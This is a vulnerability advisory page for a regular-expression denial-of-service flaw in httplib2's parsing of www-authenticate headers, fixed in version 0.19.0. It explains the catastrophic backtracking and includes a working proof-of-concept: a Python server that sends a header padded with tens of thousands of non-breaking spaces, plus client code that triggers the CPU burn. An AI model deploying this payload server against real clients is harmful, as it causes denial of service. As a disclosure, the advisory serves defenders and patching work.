Regular Expression Denial of Service (REDoS) in httplib2
Impact
A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.
Patches
Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182
Workarounds
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = TrueTechnical Details
The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338
The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:
\s*[^ \t\r\n=]+\s*=Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.
The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.
Reproduction Steps
Run a malicious server which responds with
www-authenticate: x \xa0\xa0\xa0\xa0xbut with many more \xa0 characters.
An example malicious python server is below:
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_header_value(n_spaces):
repeat = "\xa0" * n_spaces
return f"x {repeat}x"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(401)
self.send_response_only(401) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65512 # Max header line length 65536
)
value = make_header_value(n_spaces)
self.send_header("www-authenticate", value) # This header can actually be sent multiple times
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 1337), Handler).serve_forever()Connect to the server with httplib2:
import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000
References
Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.
For more information
If you have any questions or comments about this advisory:
- Open an issue in httplib2
- Email current maintainer at 2021-01
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | httplib2 | < 0.19.0 | 0.19.0 |
References
- https://github.com/httplib2/httplib2/commit/bd9ee252c8f099608019709e22c0d705e98d26bc
- https://github.com/httplib2/httplib2/pull/182
- https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m
- https://pypi.org/project/httplib2
- https://nvd.nist.gov/vuln/detail/CVE-2021-21240
- https://github.com/httplib2/httplib2
- https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2021-16.yaml
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-400- Platform
- Python (PyPI)
- Package
httplib2- Disclosed
- 08.02.2021
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-16 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-93xj-8mrv-444m - CC BY 4.0
Vulnerability history: httplib2
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 01.2014 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 2
Disclosures per year
- 2017: 0
- 2018: 0
- 2019: 0
- 2020: 1
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 1
earlier: 1
-
Regular Expression Denial of Service (REDoS) in httplib2 this entry
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